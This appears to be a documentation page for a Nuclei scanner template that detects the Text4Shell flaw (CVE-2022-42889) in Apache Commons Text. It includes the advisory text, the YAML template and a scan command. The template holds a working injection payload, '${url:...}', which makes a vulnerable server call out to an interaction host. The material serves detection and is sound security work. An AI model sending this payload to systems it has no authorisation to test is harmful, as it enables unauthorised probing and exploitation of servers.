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Text4Shell - Remote Code Execution

ID: CVE-2022-42889

Severity: critical

Author: mordavid,princechaddha

Tags: cve,cve2022,rce,oast,text4shell,dast

Description

Section titled “Description”

Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is ”${prefix:name}”, where “prefix” is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - “script” - execute expressions using the JVM script execution engine (javax.script) - “dns” - resolve dns records - “url” - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default.

YAML Source

Section titled “YAML Source”
id: CVE-2022-42889


info:
  name: Text4Shell - Remote Code Execution
  author: mordavid,princechaddha
  severity: critical
  description: |
    Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default.
  remediation: Upgrade to Apache Commons Text component between 1.5.0 to 1.10.0.
  reference:
    - https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om
    - http://www.openwall.com/lists/oss-security/2022/10/13/4
    - http://www.openwall.com/lists/oss-security/2022/10/18/1
    - https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
    - https://github.com/silentsignal/burp-text4shell
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
  metadata:
    max-request: 1
    confidence: tenative
  tags: cve,cve2022,rce,oast,text4shell,dast


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    payloads:
      text4shell:
        - "${url:UTF-8:https://{{Hostname}}.q.{{interactsh-url}}}"


    fuzzing:
      - part: query
        fuzz:
          - "{{text4shell}}"


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output


    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print injection point in output


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
# digest: 4b0a00483046022100b4b0c092617fb0da67a9ba1daba6fb05e46310943778a0100e477801d9d43ebe0221009ccfccf8b16a26ec3f4150c837ef6ed7f3daa564fcfdb6ff5e60165b82bc9913:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/cves/2022/CVE-2022-42889.yaml"

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